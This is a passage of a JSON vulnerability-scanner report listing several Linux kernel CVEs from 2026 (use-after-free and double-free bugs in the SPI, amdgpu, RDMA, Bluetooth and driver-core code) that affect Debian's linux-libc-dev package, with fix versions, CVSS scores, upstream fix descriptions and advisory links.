spidev_ioctl+0x398/0x750 [spidev]\n[...]\n\nSwitch from devm_spi_register_controller() to spi_register_controller() in\nfsl_lpspi_probe() and add the corresponding spi_unregister_controller() in\nfsl_lpspi_remove().", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 3, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31485", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://git.kernel.org/linus/b341c1176f2e001b3adf0b47154fc31589f7410e%20%287.0-rc6%29", "https://git.kernel.org/stable/c/15650dfbaeeb14bcaaf053b93cf631db8d465300", "https://git.kernel.org/stable/c/adb25339b66112393fd6892ceff926765feb5b86", "https://git.kernel.org/stable/c/b341c1176f2e001b3adf0b47154fc31589f7410e", "https://git.kernel.org/stable/c/ca4483f36ac1b62e69f8b182c5b8f059e0abecfb", "https://git.kernel.org/stable/c/d5d01f24bc6fbde40b4e567ef9160194b61267bc", "https://git.kernel.org/stable/c/e3fd54f8b0317fbccc103961ddd660f2a32dcf0b", "https://git.kernel.org/stable/c/e89e2b97253c124d37bf88e96e5e8ce5c3aeeec3", "https://git.kernel.org/stable/c/fbe6f40caeebb0b1ea9dfedc259124c1d3cda7a6", "https://lore.kernel.org/linux-cve-announce/2026042259-CVE-2026-31485-e15c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31485", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-31485" ], "PublishedDate": "2026-04-22T14:16:45.923Z", "LastModifiedDate": "2026-11-05T22:18:34.13Z" }, { "VulnerabilityID": "CVE-2026-31488", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31488", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:00c338325300fcbfa07f7ce6a2afc48844298871028c84cf4b76f9276b1138d7", "Title": "kernel: drm/amd/display: Do not skip unrelated mode changes in DSC validation", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/display: Do not skip unrelated mode changes in DSC validation\n\nStarting with commit 17ce8a6907f7 (\"drm/amd/display: Add dsc pre-validation in\natomic check\"), amdgpu resets the CRTC state mode_changed flag to false when\nrecomputing the DSC configuration results in no timing change for a particular\nstream.\n\nHowever, this is incorrect in scenarios where a change in MST/DSC configuration\nhappens in the same KMS commit as another (unrelated) mode change. For example,\nthe integrated panel of a laptop may be configured differently (e.g., HDR\nenabled/disabled) depending on whether external screens are attached. In this\ncase, plugging in external DP-MST screens may result in the mode_changed flag\nbeing dropped incorrectly for the integrated panel if its DSC configuration\ndid not change during precomputation in pre_validate_dsc().\n\nAt this point, however, dm_update_crtc_state() has already created new streams\nfor CRTCs with DSC-independent mode changes. In turn,\namdgpu_dm_commit_streams() will never release the old stream, resulting in a\nmemory leak. amdgpu_dm_atomic_commit_tail() will never acquire a reference to\nthe new stream either, which manifests as a use-after-free when the stream gets\ndisabled later on:\n\nBUG: KASAN: use-after-free in dc_stream_release+0x25/0x90 [amdgpu]\nWrite of size 4 at addr ffff88813d836524 by task kworker/9:9/29977\n\nWorkqueue: events drm_mode_rmfb_work_fn\nCall Trace:\n \u003cTASK\u003e\n dump_stack_lvl+0x6e/0xa0\n print_address_description.constprop.0+0x88/0x320\n ? dc_stream_release+0x25/0x90 [amdgpu]\n print_report+0xfc/0x1ff\n ? srso_alias_return_thunk+0x5/0xfbef5\n ? __virt_addr_valid+0x225/0x4e0\n ? dc_stream_release+0x25/0x90 [amdgpu]\n kasan_report+0xe1/0x180\n ? dc_stream_release+0x25/0x90 [amdgpu]\n kasan_check_range+0x125/0x200\n dc_stream_release+0x25/0x90 [amdgpu]\n dc_state_destruct+0x14d/0x5c0 [amdgpu]\n dc_state_release.part.0+0x4e/0x130 [amdgpu]\n dm_atomic_destroy_state+0x3f/0x70 [amdgpu]\n drm_atomic_state_default_clear+0x8ee/0xf30\n ? drm_mode_object_put.part.0+0xb1/0x130\n __drm_atomic_state_free+0x15c/0x2d0\n atomic_remove_fb+0x67e/0x980\n\nSince there is no reliable way of figuring out whether a CRTC has unrelated\nmode changes pending at the time of DSC validation, remember the value of the\nmode_changed flag from before the point where a CRTC was marked as potentially\naffected by a change in DSC configuration. Reset the mode_changed flag to this\nearlier value instead in pre_validate_dsc().\n\n(cherry picked from commit cc7c7121ae082b7b82891baa7280f1ff2608f22b)", "Severity": "HIGH", "CweIDs": [ "CWE-416", "CWE-1288" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:27353", "https://access.redhat.com/errata/RHSA-2026:27354", "https://access.redhat.com/errata/RHSA-2026:30848", "https://access.redhat.com/errata/RHSA-2026:43231", "https://access.redhat.com/errata/RHSA-2026:44385", "https://access.redhat.com/errata/RHSA-2026:47632", "https://access.redhat.com/errata/RHSA-2026:47739", "https://access.redhat.com/errata/RHSA-2026:47869", "https://access.redhat.com/errata/RHSA-2026:53330", "https://access.redhat.com/errata/RHSA-2026:55445", "https://access.redhat.com/security/cve/CVE-2026-31488", "https://bugzilla.redhat.com/2460619", "https://bugzilla.redhat.com/2464397", "https://bugzilla.redhat.com/2468124", "https://bugzilla.redhat.com/2481980", "https://bugzilla.redhat.com/2482025", "https://bugzilla.redhat.com/2482031", "https://bugzilla.redhat.com/2482588", "https://bugzilla.redhat.com/2482594", "https://bugzilla.redhat.com/show_bug.cgi?id=2457829", "https://bugzilla.redhat.com/show_bug.cgi?id=2460619", "https://bugzilla.redhat.com/show_bug.cgi?id=2464449", "https://bugzilla.redhat.com/show_bug.cgi?id=2467215", "https://bugzilla.redhat.com/show_bug.cgi?id=2479492", "https://bugzilla.redhat.com/show_bug.cgi?id=2481980", "https://bugzilla.redhat.com/show_bug.cgi?id=2482581", "https://bugzilla.redhat.com/show_bug.cgi?id=2482654", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31419", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31488", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43056", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43279", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46090", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46135", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46331", "https://errata.almalinux.org/9/ALSA-2026-30848.html", "https://errata.rockylinux.org/RLSA-2026:27353", "https://git.kernel.org/linus/aed3d041ab061ec8a64f50a3edda0f4db7280025%20%287.0-rc6%29", "https://git.kernel.org/stable/c/10862e344b4d6434642a48c87d765813fc0b0ba7", "https://git.kernel.org/stable/c/111208b5b7ebcdadb3f922cc52d8425f0fa91b33", "https://git.kernel.org/stable/c/21159d8b335a6b9f44cbb506733013a902ae2da4", "https://git.kernel.org/stable/c/8a5edc97fd9c6415ff2eff872748439a97e3c3d8", "https://git.kernel.org/stable/c/aed3d041ab061ec8a64f50a3edda0f4db7280025", "https://git.kernel.org/stable/c/da1d0ed31e9802fd99384f43cc63678a5a11cb41", "https://linux.oracle.com/cve/CVE-2026-31488.html", "https://linux.oracle.com/errata/ELSA-2026-53330.html", "https://lore.kernel.org/linux-cve-announce/2026042200-CVE-2026-31488-fe04@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31488", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-31488.json", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-31488" ], "PublishedDate": "2026-04-22T14:16:46.453Z", "LastModifiedDate": "2026-10-19T19:17:56.827Z" }, { "VulnerabilityID": "CVE-2026-31489", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31489", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1a4f2efc32e90b06d149a099828c04f36e2fc97b24b2e5f9dc7ebf2a2ac0ab2a", "Title": "kernel: spi: meson-spicc: Fix double-put in remove path", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nspi: meson-spicc: Fix double-put in remove path\n\nmeson_spicc_probe() registers the controller with\ndevm_spi_register_controller(), so teardown already drops the\ncontroller reference via devm cleanup.\n\nCalling spi_controller_put() again in meson_spicc_remove()\ncauses a double-put.", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31489", "https://git.kernel.org/linus/63542bb402b7013171c9f621c28b609eda4dbf1f%20%287.0-rc6%29", "https://git.kernel.org/stable/c/01f5f7976c24d6e9beef6b5a410af3b9b1d4d476", "https://git.kernel.org/stable/c/0d645c6d13fa0597935d3d16b09a7ba5d24ed284", "https://git.kernel.org/stable/c/40ad0334c17b23d8b66b1082ad1478a6202e90e2", "https://git.kernel.org/stable/c/63542bb402b7013171c9f621c28b609eda4dbf1f", "https://git.kernel.org/stable/c/7434c64ddae88a02e7fb478bc256cc100d48d3e3", "https://git.kernel.org/stable/c/9b812ceb75a6260c17c91db4b9e74ead8cfa06f5", "https://git.kernel.org/stable/c/d61bcec3aec6f0244a9b963e0c76c00f771d49b6", "https://git.kernel.org/stable/c/da06a104f0486355073ff0d1bcb1fcbebb7080d6", "https://linux.oracle.com/cve/CVE-2026-31489.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026042201-CVE-2026-31489-3a01@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31489", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-31489" ], "PublishedDate": "2026-04-22T14:16:46.603Z", "LastModifiedDate": "2026-06-19T13:16:26.467Z" }, { "VulnerabilityID": "CVE-2026-31493", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31493", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7f826bfce8586cb86067c0095484a5200d111a7d31bd3844773752ca8d3c64fa", "Title": "kernel: RDMA/efa: Fix use of completion ctx after free", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/efa: Fix use of completion ctx after free\n\nOn admin queue completion handling, if the admin command completed with\nerror we print data from the completion context. The issue is that we\nalready freed the completion context in polling/interrupts handler which\nmeans we print data from context in an unknown state (it might be\nalready used again).\nChange the admin submission flow so alloc/dealloc of the context will be\nsymmetric and dealloc will be called after any potential use of the\ncontext.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:H", "V3Score": 5.3 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31493", "https://git.kernel.org/linus/ef3b06742c8a201d0e83edc9a33a89a4fe3009f8%20%287.0-rc6%29", "https://git.kernel.org/stable/c/0dd98aea1c0c45987fa2dd92f988b0eb1a72c125", "https://git.kernel.org/stable/c/1cf95fe5dc5471efea947b4c6f8913da6bc7976e", "https://git.kernel.org/stable/c/7ba09d85f177e9f5f64b881f33dbcb57b2cf23d5", "https://git.kernel.org/stable/c/8c24b5179af260a5f36571c992d29aab1f448544", "https://git.kernel.org/stable/c/ef3b06742c8a201d0e83edc9a33a89a4fe3009f8", "https://lore.kernel.org/linux-cve-announce/2026042202-CVE-2026-31493-4d67@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31493", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2026-31493" ], "PublishedDate": "2026-04-22T14:16:47.17Z", "LastModifiedDate": "2026-11-05T22:18:34.817Z" }, { "VulnerabilityID": "CVE-2026-31500", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31500", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3ae7dc0acf2a1baa4fbb61628133b89c65db89c998e8f5ca3041e630cc0c7ffc", "Title": "kernel: Bluetooth: btintel: serialize btintel_hw_error() with hci_req_sync_lock", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: btintel: serialize btintel_hw_error() with hci_req_sync_lock\n\nbtintel_hw_error() issues two __hci_cmd_sync() calls (HCI_OP_RESET\nand Intel exception-info retrieval) without holding\nhci_req_sync_lock(). This lets it race against\nhci_dev_do_close() -\u003e btintel_shutdown_combined(), which also runs\n__hci_cmd_sync() under the same lock. When both paths manipulate\nhdev-\u003ereq_status/req_rsp concurrently, the close path may free the\nresponse skb first, and the still-running hw_error path hits a\nslab-use-after-free in kfree_skb().\n\nWrap the whole recovery sequence in hci_req_sync_lock/unlock so it\nis serialized with every other synchronous HCI command issuer.\n\nBelow is the data race report and the kasan report:\n\n BUG: data-race in __hci_cmd_sync_sk / btintel_shutdown_combined\n\n read of hdev-\u003ereq_rsp at net/bluetooth/hci_sync.c:199\n by task kworker/u17:1/83:\n __hci_cmd_sync_sk+0x12f2/0x1c30 net/bluetooth/hci_sync.c:200\n __hci_cmd_sync+0x55/0x80 net/bluetooth/hci_sync.c:223\n btintel_hw_error+0x114/0x670 drivers/bluetooth/btintel.c:254\n hci_error_reset+0x348/0xa30 net/bluetooth/hci_core.c:1030\n\n write/free by task ioctl/22580:\n btintel_shutdown_combined+0xd0/0x360\n drivers/bluetooth/btintel.c:3648\n hci_dev_close_sync+0x9ae/0x2c10 net/bluetooth/hci_sync.c:5246\n hci_dev_do_close+0x232/0x460 net/bluetooth/hci_core.c:526\n\n BUG: KASAN: slab-use-after-free in\n sk_skb_reason_drop+0x43/0x380 net/core/skbuff.c:1202\n Read of size 4 at addr ffff888144a738dc\n by task kworker/u17:1/83:\n __hci_cmd_sync_sk+0x12f2/0x1c30 net/bluetooth/hci_sync.c:200\n __hci_cmd_sync+0x55/0x80 net/bluetooth/hci_sync.c:223\n btintel_hw_error+0x186/0x670 drivers/bluetooth/btintel.c:260", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H", "V3Score": 6.3 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31500", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/94d8e6fe5d0818e9300e514e095a200bd5ff93ae%20%287.0-rc6%29", "https://git.kernel.org/stable/c/5f84e845648dfa86e42de5487f1a774b42f0444d", "https://git.kernel.org/stable/c/66696648af477dc87859e5e4b607112f5f29d010", "https://git.kernel.org/stable/c/7e041d0aad1d4d43d921ace052e04f4e2cacaed3", "https://git.kernel.org/stable/c/94d8e6fe5d0818e9300e514e095a200bd5ff93ae", "https://git.kernel.org/stable/c/e10a4cb72468686ffbe8bb2b0520e37f6be1a0c5", "https://git.kernel.org/stable/c/f7d84737663ad4a120d2d8ef1561a4df91282c2e", "https://linux.oracle.com/cve/CVE-2026-31500.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026042204-CVE-2026-31500-c032@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31500", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-31500" ], "PublishedDate": "2026-04-22T14:16:48.427Z", "LastModifiedDate": "2026-11-05T22:18:35.893Z" }, { "VulnerabilityID": "CVE-2026-31506", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31506", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:af93dcee7a7e652003379380d776076518d4f77e515db2098cbefe097c38a1cd", "Title": "kernel: net: bcmasp: fix double free of WoL irq", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: bcmasp: fix double free of WoL irq\n\nWe do not need to free wol_irq since it was instantiated with\ndevm_request_irq(). So devres will free for us.", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31506", "https://git.kernel.org/linus/cbfa5be2bf64511d49b854a0f9fd6d0b5118621f%20%287.0-rc6%29", "https://git.kernel.org/stable/c/121a6ad9cd42ba3bfc57deae93e3326515c2afe1", "https://git.kernel.org/stable/c/8a30509ce6a29bdf18e0802383c524a7b2357ec0", "https://git.kernel.org/stable/c/9e5f5c07cc7d66522f8c9676c28605eba5d4a20e", "https://git.kernel.org/stable/c/c5e2de193831ab9610a1ca542507f75d126f09b5", "https://git.kernel.org/stable/c/cbfa5be2bf64511d49b854a0f9fd6d0b5118621f", "https://linux.oracle.com/cve/CVE-2026-31506.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026042207-CVE-2026-31506-31d7@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31506", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8802-1", "https://www.cve.org/CVERecord?id=CVE-2026-31506" ], "PublishedDate": "2026-04-22T14:16:49.397Z", "LastModifiedDate": "2026-10-21T13:18:38.483Z" }, { "VulnerabilityID": "CVE-2026-31527", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31527", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:24e56a468246eb86463b766569c1efa14f832026bce919a8a20beed2bfadc4c3", "Title": "kernel: driver core: platform: use generic driver_override infrastructure", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndriver core: platform: use generic driver_override infrastructure\n\nWhen a driver is probed through __driver_attach(), the bus' match()\ncallback is called without the device lock held, thus accessing the\ndriver_override field without a lock, which can cause a UAF.\n\nFix this by using the driver-core driver_override infrastructure taking\ncare of proper locking internally.\n\nNote that calling match() from __driver_attach() without the device lock\nheld is intentional. [1]", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "bottlerocket": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31527", "https://access.redhat.com/security/cve/CVE-2026-31527", "https://git.kernel.org/linus/2b38efc05bf7a8568ec74bfffea0f5cfa62bc01d%20%287.0-rc5%29", "https://git.kernel.org/stable/c/2b38efc05bf7a8568ec74bfffea0f5cfa62bc01d", "https://git.kernel.org/stable/c/492349e5e4a369a8b62781100a3ade470bf1ce6b", "https://git.kernel.org/stable/c/7c02a9bd7d14a89065fcf672b86d8e1d1a41d3b1", "https://git.kernel.org/stable/c/9a6086d2a828dd2ff74cf9abcae456670febd71f", "https://git.kernel.org/stable/c/edee7ee5a14c3b33f6d54641f5af5c5e9180992d", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/5.4.2/BRSA-gvsjouhoqh4p.toml", "https://linux.oracle.com/cve/CVE-2026-31527.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026042214-CVE-2026-31527-a1bc@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31527", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-31527" ], "PublishedDate": "2026-04-22T14:16:52.903Z", "LastModifiedDate": "2026-11-05T22:18:38.5Z" }, { "VulnerabilityID": "CVE-2026-31530", "VendorIDs": [ "DSA-6238-1" ], 